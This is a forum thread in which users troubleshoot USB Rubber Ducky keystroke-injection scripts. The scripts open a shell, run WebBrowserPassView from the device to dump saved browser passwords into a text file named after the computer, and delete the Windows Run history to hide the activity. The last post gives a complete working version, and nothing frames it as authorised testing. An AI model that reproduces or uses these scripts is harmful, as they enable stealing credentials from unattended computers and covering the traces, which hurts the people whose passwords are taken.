Why won't control a and control s work on my ducky?

[avih7531]

Why won't control a and control s work on my ducky?

I'm using this:

DELAY 1000
GUI r
DELAY 500
STRING cmd
ENTER
DELAY 100
STRING D:
ENTER
DELAY 100
STRING START WebBrowserPassView.exe
ENTER
DELAY 6000
ALT F4
DELAY 100
CTRL A
DELAY 100
CTRL S
DELAY 500
STRING PASSWORDS
DELAY 100
ENTER

[macroliux]

Hi, I was wondering if you ever found an answer? I have the same issue. The ducky launches powershell and then my program but the keyboard commands to highlight the text and save file doesn't work. Here's the commands I'm running:

REM opens powershell
DELAY 1000
GUI r
DELAY 100
STRING powershell
ENTER
DELAY 500
REM removes run history
STRING powershell "Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue"
ENTER
DELAY 200
REM navigates to USB drive called _ for me
STRING $usbPath = Get-WMIObject Win32_Volume | ? { $_.Label -eq '_' } | select name
ENTER
DELAY 500
STRING cd $usbPath.name
ENTER
DELAY 500
REM runs WebrowserPassView from ducky drive
STRING start-process -nonewwindow -filepath ./WebBrowserPassView.exe
ENTER
DELAY 5000
CTRL A
DELAY 500
CTRL S
DELAY 500
STRING PASSWORD
DELAY 50
ENTER

[Bob123]

What are you in during the CTRL A and CTRL S?  Is it powershell?  If so I'm guessing powershell doesn't recognize those commands.  The commands run fine in notepad which is how I tested them.  I also found they don't work in cmd either.  You may want to try to do a screen grab or have the a ducky script write them to a file. 

[macroliux]

54 minutes ago, Bob123 said:

What are you in during the CTRL A and CTRL S?  Is it powershell?  If so I'm guessing powershell doesn't recognize those commands.  The commands run fine in notepad which is how I tested them.  I also found they don't work in cmd either.  You may want to try to do a screen grab or have the a ducky script write them to a file. 

I just got the script working this morning. I had to download the WebBrowserPassView program that supports command line. After that I was able to append a switch to the command telling it to save the output as a .txt file. Here's the code that works for me.

 

REM opens powershell
DELAY 1000
GUI r
DELAY 100
STRING powershell
ENTER
DELAY 500
REM navigates to USB drive called _ for me
STRING $usbPath = Get-WMIObject Win32_Volume | ? { $_.Label -eq '_' } | select name
ENTER
DELAY 500
STRING cd $usbPath.name
ENTER
DELAY 500
REM runs WebrowserPassView from ducky drive
STRING CMD
ENTER
DELAY 500
STRING WebBrowserPassView.exe /stext pass_%computername%.txt
ENTER
DELAY 9000
STRING exit
ENTER
DELAY 100
REM removes run history
STRING Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue
ENTER
DELAY 200
STRING exit
ENTER

 

[Bob123]

Sweet.  Glad you got it working.